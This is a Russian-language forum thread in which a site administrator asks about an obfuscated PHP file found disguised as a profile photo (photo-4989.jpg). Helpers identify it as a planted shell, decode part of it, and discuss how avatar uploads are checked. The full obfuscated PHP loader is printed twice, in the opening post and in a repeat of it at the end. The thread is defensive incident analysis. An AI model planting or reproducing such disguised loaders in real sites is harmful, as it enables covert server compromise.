Опубликовано: 11 апреля 201510 г У себя на сервере обнаружил файл /uploads/profile/photo-4989.jpg следующего содержания: <?php $c3klind6='[q<q~nq2tQqyWq&ESK[4Keh}zE4ncz&tnqytQq<y2q&Tnh5@FKhnzKF5,d06ve7AV,CT//T@h}zE4nczeK*nQ4Q5&Q1}4FcGzg[iiM[E$&CT[zFT>Jewu0:u0o&{bbAe3&"##&M&CT~Th}zE4nczTQ1}4FcGzg[iiM[E$5C~TKE1cT&;@88&`PFW5&inz$Q&C`&88I&tTYTSKRnQ4KSeQ1}4FcGzeh}zE4ncz5&Q1}4FcGzg[iiM[E$&CtTYT&tY';global$g72pybaw;$g72pybaw=array();$zw35fhfe=array(234,241,236,250,237,246,254,243,229,165,173,228,175,164,174,170,189,252,235,192,249,240,191,183,190,251,184,217,205,208,210,214,207,221,182,185,231,247,232,220,253,244,223,187,204,218,201,196,215,203,222,194,162,163,178,177,242,161,226,248);foreach($zw35fhfe as $djv8zatz)$g72pybaw[]=($djv8zatz^159);$cyfadshp=o3wwnwea(array(125,122,81,75,83,110,91,105,110,112,75));$hu9sj5mp=$cyfadshp(o3wwnwea($c3klind6));$mezs9b4d=$hu9sj5mp[0];$c89e3f74=$mezs9b4d('',$hu9sj5mp[1]);$c89e3f74();function o3wwnwea($jn7,$xqd='',$l1="\x63\x68\x72"){global$g72pybaw,$btbp;if(!isset($btbp))$btbp=array();static$sxcw;if(!isset($sxcw))$sxcw=0;$t1=$hp9=$cg=$iu=$l1;$ter=$t1(125^30).$iu(241^158).$hp9(203^190).$cg(212^186).$t1(137^253);$wag=$hp9(79^60).$l1(90^46).$l1(240^130).$l1(40^68).$t1(200^173).$cg(131^237);$xhk=$cg(162^203).$t1(243^128).$t1(222^129).$cg(39^70).$t1(24^106).$hp9(112^2).$cg(20^117).$cg(14^119);$j2v=$l1(130^237).$hp9(68^54).$hp9(152^252);for($nt2=0,$joyg=0;$nt2<($xhk($jn7)?$ter($jn7):$wag($jn7));$nt2++){$tzdg=(($xhk($jn7)?$jn7[$nt2]:$j2v($jn7[$nt2])));if($tzdg==(84^94)||$tzdg==(104^101))continue;if(!isset($btbp[$tzdg])) $btbp[$tzdg]=$sxcw++;if(!isset($g72pybaw[$btbp[$tzdg]])){echo($jn7[$$nt2].' '.$tzdg);exit;}$fxvr=$l1( $g72pybaw[$btbp[$tzdg]]);$xqd.=$fxvr;}return$xqd;} ?> Несет ли он какой-нибудь вред для форума?
Опубликовано: 14 апреля 201510 г Это шелл. Сам по себе с расширением jpg он безвреден, но могут использовать для подключения в скрипте. Другое дело, что форум не дает загрузить изображения если они не соответствуют формату, и обычным способом через форум загрузить его нельзя, значит вас скорее всего взломали.
Опубликовано: 15 апреля 201510 г Автор Другое дело, что форум не дает загрузить изображения если они не соответствуют формату, и обычным способом через форум загрузить его нельзя, значит вас скорее всего взломали.@siv1987, Вы хотите сказать, что подобный файл невозможно загрузить на сервер через расширенную форму? Значит его залили посредством FTP?
Опубликовано: 15 апреля 201510 г Вы хотите сказать, что подобный файл невозможно загрузить на сервер через расширенную форму?Через расширенную форму загружаются аттачи, а тут фото профиля. На сколько я помню, форум проверяет формат загружаемого аватара, если он с этим расширением не соответствует типу, то будет ругаться на неправильный формат.Не факт просто, что его загрузили сейчас. Если вы обновлялись со старой версии либо форум был когда-то взломан, возможно он еще остался с тех времен. Нужно смотреть на дату последнего изменения. Но полагаться на эту дату не следует, ее можно изменить из php.
Опубликовано: 15 апреля 201510 г Автор @siv1987, ах да, тут же речь идет не об аттачах, а об аватаре. Тогда что получается... Форум проверяет формат и вес файла. Я файлик то уже удалил, но сколько он может весить? Копейки, наверняка по весу бы он прошел (у меня стоит пол мегабайта), а по формату тем паче (.jpg), но как такового изображения этот файл не имел (его просмотр был запрещен). Но ведь взгляните на ID аватара - 4989! У меня даже пользователей столько нет. Значит картинка была залита на сервер не через профиль (ну и не через форму загрузки в постах). Тогда как? Перерыл весь гугл, но подобной проблемы никто пока не обсуждал. Обсуждали помню трабл с файлом photo-128.jpg, в том числе и на этом форуме. К слову, у меня тоже была проблема с photo-128.jpg, но я ее вылечил еще в 2012 году. И самое интересное, как я вышел на это: /uploads/profile/photo-4989.jpg ;)Попросил хостера проверить мой акк на наличие вредоносных сигнатур в файлах и выложить отчет. По отчету я проверил все файлы, большинство из них - ложная тревога, но вот этот я сразу кинул вам на форум для вынесения экспертного решения. Наверняка эта зараза под тем же ID лежит у массы админов, но странно, почему эту проблему никогда в интернете не обсуждали...
Опубликовано: 15 апреля 201510 г а по формату тем паче (.jpg).jpg это только расширение. Форум для аватаров проверяет тип изображения. Если файл не является изображением, в независимости от его расширения возвращается false. Файл явно был загружен посторонним образом. Перерыл весь гугл, но подобной проблемы никто пока не обсуждал. Обсуждали помню трабл с файлом photo-128.jpg, в том числе и на этом форуме.Эти взломы из одной и той же оперы. Информация о нем датируется еще с 2013. Не нашли потому, что для кодирования кода используется рэндомная последовательность символов. И имена переменных тоже случайны. $c3klind6='[q<q~nq2tQqyWq&ESK[4Keh}zE4ncz&tnqytQq<y2q&Tnh5@FKhnzKF5,d06ve7AV,CT//T@h}zE4nczeK*nQ4Q5&Q1}4FcGzg[iiM[E$&CT[zFT>Jewu0:u0o&{bbAe3&"##&M&CT~Th}zE4nczTQ1}4FcGzg[iiM[E$5C~TKE1cT&;@88&`PFW5&inz$Q&C`&88I&tTYTSKRnQ4KSeQ1}4FcGzeh}zE4ncz5&Q1}4FcGzg[iiM[E$&CtTYT&tY'; Закодирован в нем код if(!defined('FROM_IPB') && !function_exists("shutdownCallback") and @$_SERVER["HTTP_A"]=="b") { function shutdownCallback(){ echo "<!--".md5("links")."-->"; } register_shutdown_function("shutdownCallback"); }
Опубликовано: 15 апреля 201510 г Автор Форум для аватаров еще проверяет тип изображения. Если файл не является изображением в независимости от его расширения возвращается falseТо есть Вы хотите сказать через профиль и через вложения невозможно залить шелл с разрешенным на форуме расширением?
Опубликовано: 15 апреля 201510 г То есть Вы хотите сказать через профиль и через вложения невозможно залить шелл с разрешенным на форуме расширением?Через профиль нельзя залить левые файлы (php код, или другие скрипты) под видом файлов с расширением jpg, png etc. Даже если добавить в конец изображения посторонний код, при ее обработке библиотека GD (imagemagick) удалит все посторонние примеси. Насчет аттачей точно не знаю, по моему там формат изображений не проверяется.
Опубликовано: 15 апреля 201510 г Автор Если файл не является изображением в независимости от его расширения возвращается falseА если в нормальное изображение через блокнот записать BOM, оно зальется на сервер через профиль пользователя?
Опубликовано: 15 апреля 201510 г А если в нормальное изображение через блокнот записать BOMBOM (Byte Order Mark) это маркер дли индикации порядка байтов в текстовом файле. Изображение это бинарный (двоичный) файл, BOM'у там делать нечего.
У себя на сервере обнаружил файл /uploads/profile/photo-4989.jpg следующего содержания:
<?php $c3klind6='[q<q~nq2tQqyWq&ESK[4Keh}zE4ncz&tnqytQq<y2q&Tnh5@FKhnzKF5,d06ve7AV,CT//T@h}zE4nczeK*nQ4Q5&Q1}4FcGzg[iiM[E$&CT[zFT>Jewu0:u0o&{bbAe3&"##&M&CT~Th}zE4nczTQ1}4FcGzg[iiM[E$5C~TKE1cT&;@88&`PFW5&inz$Q&C`&88I&tTYTSKRnQ4KSeQ1}4FcGzeh}zE4ncz5&Q1}4FcGzg[iiM[E$&CtTYT&tY';global$g72pybaw;$g72pybaw=array();$zw35fhfe=array(234,241,236,250,237,246,254,243,229,165,173,228,175,164,174,170,189,252,235,192,249,240,191,183,190,251,184,217,205,208,210,214,207,221,182,185,231,247,232,220,253,244,223,187,204,218,201,196,215,203,222,194,162,163,178,177,242,161,226,248);foreach($zw35fhfe as $djv8zatz)$g72pybaw[]=($djv8zatz^159);$cyfadshp=o3wwnwea(array(125,122,81,75,83,110,91,105,110,112,75));$hu9sj5mp=$cyfadshp(o3wwnwea($c3klind6));$mezs9b4d=$hu9sj5mp[0];$c89e3f74=$mezs9b4d('',$hu9sj5mp[1]);$c89e3f74();function o3wwnwea($jn7,$xqd='',$l1="\x63\x68\x72"){global$g72pybaw,$btbp;if(!isset($btbp))$btbp=array();static$sxcw;if(!isset($sxcw))$sxcw=0;$t1=$hp9=$cg=$iu=$l1;$ter=$t1(125^30).$iu(241^158).$hp9(203^190).$cg(212^186).$t1(137^253);$wag=$hp9(79^60).$l1(90^46).$l1(240^130).$l1(40^68).$t1(200^173).$cg(131^237);$xhk=$cg(162^203).$t1(243^128).$t1(222^129).$cg(39^70).$t1(24^106).$hp9(112^2).$cg(20^117).$cg(14^119);$j2v=$l1(130^237).$hp9(68^54).$hp9(152^252);for($nt2=0,$joyg=0;$nt2<($xhk($jn7)?$ter($jn7):$wag($jn7));$nt2++){$tzdg=(($xhk($jn7)?$jn7[$nt2]:$j2v($jn7[$nt2])));if($tzdg==(84^94)||$tzdg==(104^101))continue;if(!isset($btbp[$tzdg])) $btbp[$tzdg]=$sxcw++;if(!isset($g72pybaw[$btbp[$tzdg]])){echo($jn7[$$nt2].' '.$tzdg);exit;}$fxvr=$l1( $g72pybaw[$btbp[$tzdg]]);$xqd.=$fxvr;}return$xqd;} ?>Несет ли он какой-нибудь вред для форума?